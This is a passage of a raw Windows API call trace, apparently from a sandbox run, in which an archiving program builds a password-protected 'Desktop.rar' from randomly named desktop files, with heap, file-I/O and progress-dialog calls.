lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.531] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.531] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49430 [0063.531] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49460 [0063.531] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49460, Size=0x48) returned 0x34e390 [0063.531] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.531] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49460 [0063.531] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49460, Size=0x48) returned 0x34e340 [0063.531] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.531] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.531] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49460 [0063.531] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49490 [0063.531] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49490 | out: hHeap=0x290000) returned 1 [0063.531] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49460 | out: hHeap=0x290000) returned 1 [0063.531] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49430, Size=0x48) returned 0x34e390 [0063.531] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0063.531] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.531] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.532] GetTickCount () returned 0xa66376 [0063.532] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=73876798647) returned 1 [0063.532] GetTickCount () returned 0xa66376 [0063.532] GetTickCount () returned 0xa66376 [0063.532] GetTickCount () returned 0xa66376 [0063.532] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.532] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.532] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.532] ResetEvent (hEvent=0x1a4) returned 1 [0063.532] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.533] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.533] ResetEvent (hEvent=0x1a4) returned 1 [0063.533] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.536] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.536] ResetEvent (hEvent=0x1a4) returned 1 [0063.536] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.539] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.539] GetTickCount () returned 0xa66386 [0063.539] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=73877505539) returned 1 [0063.539] GetTickCount () returned 0xa66386 [0063.539] GetTickCount () returned 0xa66386 [0063.539] GetTickCount () returned 0xa66386 [0063.539] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0063.539] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0063.539] GetFocus () returned 0x10232 [0063.539] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0063.539] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0063.539] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0063.539] GetFocus () returned 0x10232 [0063.539] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0063.539] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.539] ResetEvent (hEvent=0x190) returned 1 [0063.539] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.540] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.540] ResetEvent (hEvent=0x190) returned 1 [0063.540] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.541] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.541] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 1 [0063.541] GetMessageW (in: lpMsg=0x1bd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd300) returned 1 [0063.541] GetFocus () returned 0x10232 [0063.541] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd300) returned 1 [0063.541] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.541] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x7dc9fe [0063.541] SetFilePointer (in: hFile=0x198, lDistanceToMove=99, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x7dca61 [0063.541] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0063.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.541] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0063.541] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0063.541] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0063.541] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x167f0, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0x167f0, lpOverlapped=0x0) returned 1 [0063.543] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 1 [0063.543] GetMessageW (in: lpMsg=0x1bd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd300) returned 1 [0063.543] GetFocus () returned 0x10232 [0063.543] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd300) returned 1 [0063.543] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.543] SetFilePointer (in: hFile=0x198, lDistanceToMove=8243710, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x7dc9fe [0063.543] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x7dc9fe [0063.543] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49430 [0063.543] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49460 [0063.543] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49460, Size=0x48) returned 0x34e340 [0063.543] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.543] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49460 [0063.543] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49460, Size=0x48) returned 0x34e390 [0063.543] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.543] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.543] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49460 [0063.543] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49490 [0063.543] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49490 | out: hHeap=0x290000) returned 1 [0063.543] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49460 | out: hHeap=0x290000) returned 1 [0063.543] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49430, Size=0x48) returned 0x34e340 [0063.544] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0063.544] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x63, lpOverlapped=0x0) returned 1 [0063.544] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49430 [0063.544] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x63) returned 0x351980 [0063.544] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.544] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.544] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x7f3251 [0063.544] CloseHandle (hObject=0x1b0) returned 1 [0063.544] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.544] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.544] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.544] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.544] FindFirstFileW (in: lpFileName="wfNksu nJRG5\\3rrOtsNWKjt8qLje.swf", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0063.544] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0063.544] CreateFileW (lpFileName="wfNksu nJRG5\\3rrOtsNWKjt8qLje.swf" (normalized: "c:\\users\\whuoxysd\\desktop\\wfnksu njrg5\\3rrotsnwkjt8qlje.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.544] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.544] GetTickCount () returned 0xa66386 [0063.544] GetLastError () returned 0x0 [0063.544] SetLastError (dwErrCode=0x0) [0063.544] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0063.544] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0063.544] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbdb0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0063.544] SetWindowTextW (hWnd=0x10218, lpString=" 0%") returned 1 [0063.544] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0063.545] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0063.545] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0063.545] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.545] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0063.545] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="w9CVHhfkQl0.mkv") returned 15 [0063.545] SetWindowTextW (hWnd=0x10216, lpString="3rrOtsNWKjt8qLje.swf") returned 1 [0063.545] GetTickCount () returned 0xa66386 [0063.545] UpdateWindow (hWnd=0x1020e) returned 1 [0063.545] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.545] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0063.546] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0063.546] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0063.546] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0xe7)) [0063.546] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0063.546] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=77377216901) returned 1 [0063.546] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0x10fd6, lpOverlapped=0x0) returned 1 [0063.547] ReadFile (in: hFile=0x1b0, lpBuffer=0x37a1016, nNumberOfBytesToRead=0xef02a, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x37a1016*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0063.547] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.547] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.547] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49460 [0063.547] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49490 [0063.547] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49490, Size=0x48) returned 0x34e390 [0063.547] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.547] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49490 [0063.547] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49490, Size=0x48) returned 0x34e340 [0063.547] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.547] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.547] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49490 [0063.547] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494c0 [0063.547] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c494c0 | out: hHeap=0x290000) returned 1 [0063.547] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49490 | out: hHeap=0x290000) returned 1 [0063.547] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49460, Size=0x48) returned 0x34e390 [0063.547] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0063.547] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.547] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.549] GetTickCount () returned 0xa66386 [0063.549] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=77377515946) returned 1 [0063.549] GetTickCount () returned 0xa66386 [0063.549] GetLastError () returned 0x0 [0063.549] SetLastError (dwErrCode=0x0) [0063.549] GetDlgItem (hDlg=0x1020e, nIDDlgItem=154) returned 0x10220 [0063.549] GetWindowTextW (in: hWnd=0x10220, lpString=0x1bc130, nMaxCount=2560 | out: lpString="00:10:06") returned 8 [0063.549] SetWindowTextW (hWnd=0x10220, lpString="00:10:41") returned 1 [0063.549] GetTickCount () returned 0xa66386 [0063.549] GetLastError () returned 0x0 [0063.549] SetLastError (dwErrCode=0x0) [0063.549] GetDlgItem (hDlg=0x1020e, nIDDlgItem=151) returned 0x10224 [0063.549] GetWindowTextW (in: hWnd=0x10224, lpString=0x1bc130, nMaxCount=2560 | out: lpString="00:00:46") returned 8 [0063.549] SetWindowTextW (hWnd=0x10224, lpString="00:00:28") returned 1 [0063.549] GetTickCount () returned 0xa66386 [0063.549] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1bd108 | out: ppv=0x1bd108*=0x3c49460) returned 0x0 [0063.550] TaskbarList:ITaskbarList3:SetProgressState (This=0x3c49460, hwnd=0x1020e, tbpFlags=2) returned 0x0 [0063.594] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3c49460, hwnd=0x1020e, ullCompleted=0x8ee7a4, ullTotal=0x954fe3) returned 0x0 [0063.594] TaskbarList:IUnknown:Release (This=0x3c49460) returned 0x0 [0063.594] GetLastError () returned 0x36b7 [0063.594] SetLastError (dwErrCode=0x36b7) [0063.594] GetDlgItem (hDlg=0x1020e, nIDDlgItem=157) returned 0x10230 [0063.594] GetDlgItem (hDlg=0x1020e, nIDDlgItem=152) returned 0x1022e [0063.594] GetWindowTextW (in: hWnd=0x1022e, lpString=0x1bbcd0, nMaxCount=2560 | out: lpString=" 92%") returned 5 [0063.594] SetWindowTextW (hWnd=0x1022e, lpString=" 95%") returned 1 [0063.595] GetLastError () returned 0x0 [0063.595] SetLastError (dwErrCode=0x0) [0063.595] GetDlgItem (hDlg=0x1020e, nIDDlgItem=164) returned 0x1022a [0063.595] GetWindowTextW (in: hWnd=0x1022a, lpString=0x1bbcd0, nMaxCount=2560 | out: lpString=" 88%") returned 5 [0063.595] SendMessageW (hWnd=0x10230, Msg=0x402, wParam=0x5f, lParam=0x0) returned 0x5c [0063.595] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 1 [0063.595] GetMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0063.595] GetFocus () returned 0x10232 [0063.595] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd5b0) returned 1 [0063.595] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 1 [0063.595] GetMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0063.595] GetFocus () returned 0x10232 [0063.595] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd5b0) returned 1 [0063.595] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.595] ResetEvent (hEvent=0x1a4) returned 1 [0063.596] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.597] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.597] ResetEvent (hEvent=0x1a4) returned 1 [0063.597] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.600] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.600] ResetEvent (hEvent=0x1a4) returned 1 [0063.600] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.602] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.602] GetTickCount () returned 0xa663c4 [0063.602] GetLastError () returned 0x0 [0063.602] SetLastError (dwErrCode=0x0) [0063.602] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0063.602] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0063.602] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0063.602] SetWindowTextW (hWnd=0x10218, lpString=" 100%") returned 1 [0063.602] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0063.602] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=80884153218) returned 1 [0063.602] GetTickCount () returned 0xa663c4 [0063.602] GetLastError () returned 0x0 [0063.602] SetLastError (dwErrCode=0x0) [0063.602] GetDlgItem (hDlg=0x1020e, nIDDlgItem=154) returned 0x10220 [0063.602] GetWindowTextW (in: hWnd=0x10220, lpString=0x1bc100, nMaxCount=2560 | out: lpString="00:10:41") returned 8 [0063.602] SetWindowTextW (hWnd=0x10220, lpString="00:11:16") returned 1 [0063.602] GetTickCount () returned 0xa663c4 [0063.603] GetLastError () returned 0x0 [0063.603] SetLastError (dwErrCode=0x0) [0063.603] GetDlgItem (hDlg=0x1020e, nIDDlgItem=151) returned 0x10224 [0063.603] GetWindowTextW (in: hWnd=0x10224, lpString=0x1bc100, nMaxCount=2560 | out: lpString="00:00:28") returned 8 [0063.603] SetWindowTextW (hWnd=0x10224, lpString="00:00:30") returned 1 [0063.603] GetTickCount () returned 0xa663c4 [0063.603] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1bd0d8 | out: ppv=0x1bd0d8*=0x3c49460) returned 0x0 [0063.603] TaskbarList:ITaskbarList3:SetProgressState (This=0x3c49460, hwnd=0x1020e, tbpFlags=2) returned 0x0 [0063.603] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3c49460, hwnd=0x1020e, ullCompleted=0x8ee7a4, ullTotal=0x954fe3) returned 0x0 [0063.603] TaskbarList:IUnknown:Release (This=0x3c49460) returned 0x0 [0063.603] GetLastError () returned 0x36b7 [0063.603] SetLastError (dwErrCode=0x36b7) [0063.603] GetDlgItem (hDlg=0x1020e, nIDDlgItem=157) returned 0x10230 [0063.603] GetDlgItem (hDlg=0x1020e, nIDDlgItem=152) returned 0x1022e [0063.603] GetWindowTextW (in: hWnd=0x1022e, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 95%") returned 5 [0063.603] GetLastError () returned 0x36b7 [0063.603] SetLastError (dwErrCode=0x36b7) [0063.603] GetDlgItem (hDlg=0x1020e, nIDDlgItem=164) returned 0x1022a [0063.603] GetWindowTextW (in: hWnd=0x1022a, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 88%") returned 5 [0063.603] SendMessageW (hWnd=0x10230, Msg=0x402, wParam=0x5f, lParam=0x0) returned 0x5f [0063.604] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0063.604] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0063.604] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.604] ResetEvent (hEvent=0x190) returned 1 [0063.604] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.605] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.605] ResetEvent (hEvent=0x190) returned 1 [0063.605] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.605] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.605] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.605] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.605] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x7f3251 [0063.605] SetFilePointer (in: hFile=0x198, lDistanceToMove=117, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x7f32c6 [0063.605] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0063.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.605] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0063.606] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0063.606] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0063.606] WriteFile 